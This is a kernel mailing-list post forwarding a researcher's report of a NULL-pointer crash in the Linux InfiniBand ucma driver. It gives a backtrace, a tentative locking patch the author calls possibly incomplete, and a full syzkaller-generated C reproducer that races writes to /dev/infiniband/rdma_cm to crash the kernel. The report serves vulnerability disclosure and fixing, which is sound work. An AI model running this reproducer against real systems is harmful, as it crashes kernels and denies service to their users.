Thank you for your report! The syzcaller stuff is all public information so we just push it out to the normal email lists. regards, dan carpenter ----- Forwarded message from 连一汉 <lianyihan@xxxxxx> ----- Date: Fri, 30 Mar 2018 08:16:09 +0000 From: 连一汉 <lianyihan@xxxxxx> To: "edumazet@xxxxxxxxxx" <edumazet@xxxxxxxxxx> CC: "security@xxxxxxxxxx" <security@xxxxxxxxxx> Subject: linux driver infiniband vulnerability report Message-ID: <A962A2D04FAB5C4499FEFD15B642FA0A35E231EE@xxxxxxxxxxxxxxxxxxx> Hi, I’m Lian yihan, a security researcher of Qihoo 360 GearTeam. I found a vulnerability of Linux driver infiniband, and I have reproduce it on Linux-4.14.31. =============== crash info ================= #0 rdma_destroy_id (id=0x0 <irq_stack_union>) at drivers/infiniband/core/cma.c:1652 #1 0xffffffff83140a06 in ucma_destroy_id (file=<optimized out>, inbuf=<optimized out>, in_len=<optimized out>, out_len=<optimized out>) at drivers/infiniband/core/ucma.c:606 #2 0xffffffff83140f1f in ucma_write (filp=<optimized out>, buf=0x20000380 "\001", len=24, pos=<optimized out>) at drivers/infiniband/core/ucma.c:1626 #3 0xffffffff81a097a6 in __vfs_write (file=0xffff88007f20e6c0, p=<optimized out>, count=24, pos=0xffff880090c97d98) at fs/read_write.c:480 #4 0xffffffff81a09d48 in vfs_write (file=0xffff88007f20e6c0, buf=0x20000380 "\001", count=24, pos=<optimized out>) at fs/read_write.c:544 You can see (struct rdma_cm_id*) pointer id of rdma_destroy_id is zero. There are many functions of ucma.c have similar BUGs. And I have seen some similar BUGs on your “syzbot” website, But I don’t find the patch. I try to write a simple patch in ucma_create_id() function as follow(I’m not sure it is complete enough): static ssize_t ucma_create_id(struct ucma_file *file, const char __user *inbuf, int in_len, int out_len) { … mutex_lock(&mut); // The lock could patch the BUG mentioned in this email, but I’m not sure it is complete enough. ctx->uid = cmd.uid; ctx->cm_id = rdma_create_id(current->nsproxy->net_ns, ucma_event_handler, ctx, cmd.ps, qp_type); mutex_unlock(&mut); … } The attachment is my POC. Of course you need to build infiniband in kernel, if you want to reproduce it. Regards // autogenerated by syzkaller (http://github.com/google/syzkaller) #define _GNU_SOURCE #include <endian.h> #include <linux/futex.h> #include <pthread.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <sys/syscall.h> #include <unistd.h> static void test(); void loop() { while (1) { test(); } } struct thread_t { int created, running, call; pthread_t th; }; static struct thread_t threads[16]; static void execute_call(int call); static int running; static int collide; static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; for (;;) { while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); __atomic_store_n(&th->running, 0, __ATOMIC_RELEASE); syscall(SYS_futex, &th->running, FUTEX_WAKE); } return 0; } static void execute(int num_calls) { int call, thread; running = 0; for (call = 0; call < num_calls; call++) { for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) { struct thread_t* th = &threads[thread]; if (!th->created) { th->created = 1; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); pthread_create(&th->th, &attr, thr, th); } if (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) { th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &th->running, FUTEX_WAKE); if (collide && call % 2) break; struct timespec ts; ts.tv_sec = 0; ts.tv_nsec = 20 * 1000 * 1000; syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts); if (running) usleep((call == num_calls - 1) ? 10000 : 1000); break; } } } } uint64_t r[2] = {0xffffffffffffffff, 0xffffffff}; void execute_call(int call) { long res; switch (call) { case 0: memcpy((void*)0x20000640, "/dev/infiniband/rdma_cm", 24); res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000640, 2, 0); if (res != -1) r[0] = res; break; case 1: *(uint32_t*)0x20000340 = 0; *(uint16_t*)0x20000344 = 0x18; *(uint16_t*)0x20000346 = 0xfa00; *(uint64_t*)0x20000348 = 0; *(uint64_t*)0x20000350 = 0x20000100; *(uint16_t*)0x20000358 = 0x106; *(uint8_t*)0x2000035a = 0; *(uint8_t*)0x2000035b = 0; *(uint8_t*)0x2000035c = 0; *(uint8_t*)0x2000035d = 0; *(uint8_t*)0x2000035e = 0; *(uint8_t*)0x2000035f = 0; res = syscall(__NR_write, r[0], 0x20000340, 0x20); if (res != -1) r[1] = *(uint32_t*)0x20000100; break; case 2: *(uint32_t*)0x20000380 = 1; *(uint16_t*)0x20000384 = 0x10; *(uint16_t*)0x20000386 = 0xfa00; *(uint64_t*)0x20000388 = 0x20000300; *(uint32_t*)0x20000390 = r[1]; *(uint32_t*)0x20000394 = 0; syscall(__NR_write, r[0], 0x20000380, 0x18); break; } } void test() { execute(3); collide = 1; execute(3); } int main() { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); for (;;) { loop(); } } ----- End forwarded message ----- -- To unsubscribe from this list: send the line "unsubscribe linux-rdma" in the body of a message to majordomo@xxxxxxxxxxxxxxx More majordomo info at http://vger.kernel.org/majordomo-info.html